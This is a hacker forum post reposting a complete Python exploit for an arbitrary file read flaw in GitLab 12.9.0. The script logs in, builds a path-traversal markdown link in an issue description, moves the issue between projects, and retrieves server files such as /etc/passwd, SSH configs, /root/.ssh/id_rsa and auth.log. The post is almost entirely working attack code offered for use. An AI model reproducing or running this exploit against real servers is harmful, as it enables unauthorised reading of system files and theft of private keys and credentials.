Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

GitLab 12.9.0 - Arbitrary File Read

 Share


Ken1Ve

Recommended Posts

# Exploit Title: GitLab 12.9.0 - Arbitrary File Read 
# Google Dork: -
# Date: 2020-05-03
# Exploit Author: KouroshRZ
# Vendor Homepage: https://about.gitlab.com
# Software Link: https://about.gitlab.com/install
# Version: tested on gitlab version 12.9.0
# Tested on: Ubuntu 18.04 (but it's OS independent)
# CVE : -

#####################################################################################################
#                                                                                                   #			
# Copyright (c) 2020, William Bowling of Biteable, a.k.a vakzz                                      #
# All rights reserved.                                                                              #
#                                                                                                   #
# Redistribution and use in source and compiled forms, with or without modification, are permitted  #
# provided that the following conditions are met:                                                   #
#                                                                                                   #
#     * Redistributions of source code must retain the above copyright notice, this list of         # 
# conditions and the following disclaimer.                                                          #
#                                                                                                   #
#     * Redistributions in compiled form must reproduce the above copyright notice, this list of    #
# conditions and the following disclaimer in the documentation and/or other materials provided      #
# with the distribution.                                                                            #
#                                                                                                   #
#     * Neither the name of William Bowling nor the names of Biteable, a.k.a vakzz may be used to   #
# endorse or promote products derived from this software without specific prior written permission. #
#                                                                                                   #
##################################################################################################### 

# Exploit Title: automated exploit for Arbitrary file read via the UploadsRewriter when moving and issue in private gitlab server
# Google Dork: -
# Date: 05/03/2020
# Exploit Author: KouroshRZ
# Vendor Homepage: https://about.gitlab.com
# Software Link: https://about.gitlab.com/install
# Version: tested on gitlab version 12.9.0
# Tested on: Ubuntu 18.04 (but it's OS independent)
# CVE : -

import requests
import json
from time import sleep

# For debugging
proxies = {
    'http' : '127.0.0.1:8080',
    'https' : '127.0.0.1:8080'
}

session = requests.Session()

# config
host = 'http[s]://<gitlab-address>'
username = '<you-gitlab-username>'
password = '<your-gitlab-password>'
lastIssueUrl = ""

def loginToGitLab(username, password):

    initLoginUrl = '{}/users/sign_in'.format(host)

    initLoginResult = session.get(initLoginUrl).text

    temp_index_csrf_param_start = initLoginResult.find("csrf-param")
    temp_index_csrf_param_end = initLoginResult.find("/>", temp_index_csrf_param_start)
    csrf_param = initLoginResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]

    temp_index_csrf_token_start = initLoginResult.find("csrf-token")
    temp_index_csrf_token_end = initLoginResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initLoginResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]

    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")

    submitLoginUrl = '{}/users/auth/ldapmain/callback'.format(host)

    submitLoginData = {
        'utf8=' : '✓',
        csrf_param : csrf_token,
        'username' : username,
        'password' : password,
    }

    submitLoginResult = session.post(submitLoginUrl, submitLoginData, allow_redirects=False)
    
    if submitLoginResult.status_code == 302 and submitLoginResult.text.find('redirected') > -1:
        print("[+] You'e logged in ...")


def createNewProject(projectName):


    initProjectUrl = '{}/projects/new'.format(host)

    initProjectResult = session.get(initProjectUrl).text

    temp_index_csrf_param_start = initProjectResult.find("csrf-param")
    temp_index_csrf_param_end = initProjectResult.find("/>", temp_index_csrf_param_start)
    csrf_param = initProjectResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]

    temp_index_csrf_token_start = initProjectResult.find("csrf-token")
    temp_index_csrf_token_end = initProjectResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initProjectResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]

    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")

    tmp_index_1 = initProjectResult.find('{}/{}/\n'.format(host, username))
    tmp_index_2 = initProjectResult.find('value', tmp_index_1)
    tmp_index_3 = initProjectResult.find('type', tmp_index_2)
    namespace = initProjectResult[tmp_index_2 + 7 : tmp_index_3 - 2]

    createProjectUrl = '{}/projects'.format(host)
    createProjectData = {
        'utf8=' : '✓',
        csrf_param : csrf_token,
        'project[ci_cd_only]' : 'false',
        'project[name]' : projectName,
        'project[namespace_id]' : namespace,
        'project[path]' : projectName,
        'project[description]' : '',
        'project[visibility_level]' : '0'
    }

    createProjectResult = session.post(createProjectUrl, createProjectData, allow_redirects=False)
    
    if createProjectResult.status_code == 302:

        print("[+] New Project {} created ...".format(projectName))

def createNewIssue(projectName, issueTitle, file):

    global lastIssueUrl

    initIssueUrl = '{}/{}/{}/-/issues/new'.format(host, username, projectName)

    initIssueResult = session.get(initIssueUrl).text

    temp_index_csrf_param_start = initIssueResult.find("csrf-param")
    temp_index_csrf_param_end = initIssueResult.find("/>", temp_index_csrf_param_start)
    csrf_param = initIssueResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]

    temp_index_csrf_token_start = initIssueResult.find("csrf-token")
    temp_index_csrf_token_end = initIssueResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initIssueResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]

    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")

    createIssueUrl = '{}/{}/{}/-/issues'.format(host , username, projectName)

    createIssueData = {
        'utf8=' : '✓',
        csrf_param : csrf_token,
        'issue[title]' : issueTitle,
        'issue[description]' : '![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..{})'.format(file),
        'issue[confidential]' : '0',
        'issue[assignee_ids][]' : '0',
        'issue[label_ids][]' : '',
        'issue[due_date]' : '',
        'issue[lock_version]' : '0'
    }

    createIssueResult = session.post(createIssueUrl, createIssueData, allow_redirects=False)

    if createIssueResult.status_code == 302:

        print("[+] New issue for {} created ...".format(projectName))
        tmp_index_1 = createIssueResult.text.find("href")
        tmp_index_2 = createIssueResult.text.find("redirected")
        lastIssueUrl = createIssueResult.text[tmp_index_1 + 6: tmp_index_2 - 2]
        print("[+] url of craeted issue : {}\n".format(lastIssueUrl))

def moveLastIssue(source, destination, file):

    # Get destination project ID

    getProjectIdUrl = '{}/{}/{}'.format(host, username, destination)
    getProjectIdResult = session.get(getProjectIdUrl).text

    tmpIndex = getProjectIdResult.find('/search?project_id')
    projectId = getProjectIdResult[tmpIndex + 19 : tmpIndex + 21]
    #print("Project : {} ID ----> {}\n".format(destination, projectId))

    # Get CSRF token for moving issue
    # initIssueMoveUrl = '{}/{}/{}/-/issues/{}'.format(host, username, source, issue)
    initIssueMoveUrl = lastIssueUrl
    initIssueMoveResult = session.get(initIssueMoveUrl).text

    temp_index_csrf_token_start = initIssueMoveResult.find("csrf-token")
    temp_index_csrf_token_end = initIssueMoveResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initIssueMoveResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]

    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")

    # Move issue with associated CSRF token
    # moveIssueUrl = "{}/{}/{}/-/issues/{}/move".format(host, username, source, issue)
    moveIssueUrl = lastIssueUrl + "/move"
    moveIssueData = json.dumps({
        "move_to_project_id" : int(projectId)
    })
    headers = {
        'X-CSRF-Token' : csrf_token,
        'X-Requested-With' : 'XMLHttpRequest',
        'Content-Type' : 'application/json;charset=utf-8'
    }
    moveIssueResult = session.post(moveIssueUrl, headers = headers, data = moveIssueData, allow_redirects = False)

    if moveIssueResult.status_code == 500:
        print("[!] Permission denied for {}".format(file))
    else:
        description = json.loads(moveIssueResult.text)["description"]
        tmp_index = description.find("/")
        fileUrl = "{}/{}/{}/{}".format(host, username, destination, description[tmp_index+1:-1])

        print("[+] url of file {}: \n".format(f, fileUrl))
        fileContentResult = session.get(fileUrl)

        if fileContentResult.status_code == 404:
            print("[-] No such file or directory : {}".format(f))
        else:
            print("[+] Content of file {} read from server ...\n\n".format(f))
            print(fileContentResult.text)
	    
    print("\n****************************************************************************************\n")



if __name__ == "__main__":

    loginToGitLab(username, password)

    createNewProject("project_01")
    createNewProject("project_02")

    # Put the files you want to read from server here
	# The files on server should have **4 or more permission (world readable files)
    files = {
        '/etc/passwd',
        '/etc/ssh/sshd_config',
        '/etc/ssh/ssh_config',
        '/root/.ssh/id_rsa',
        '/var/log/auth.log'
		# ...
		# ...
		# ...
    } 

    
    for f in files:
        createNewIssue("project_01", "issue01_{}".format(f), f)
        moveLastIssue("project_01", "project_02",f)
        sleep(3)
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...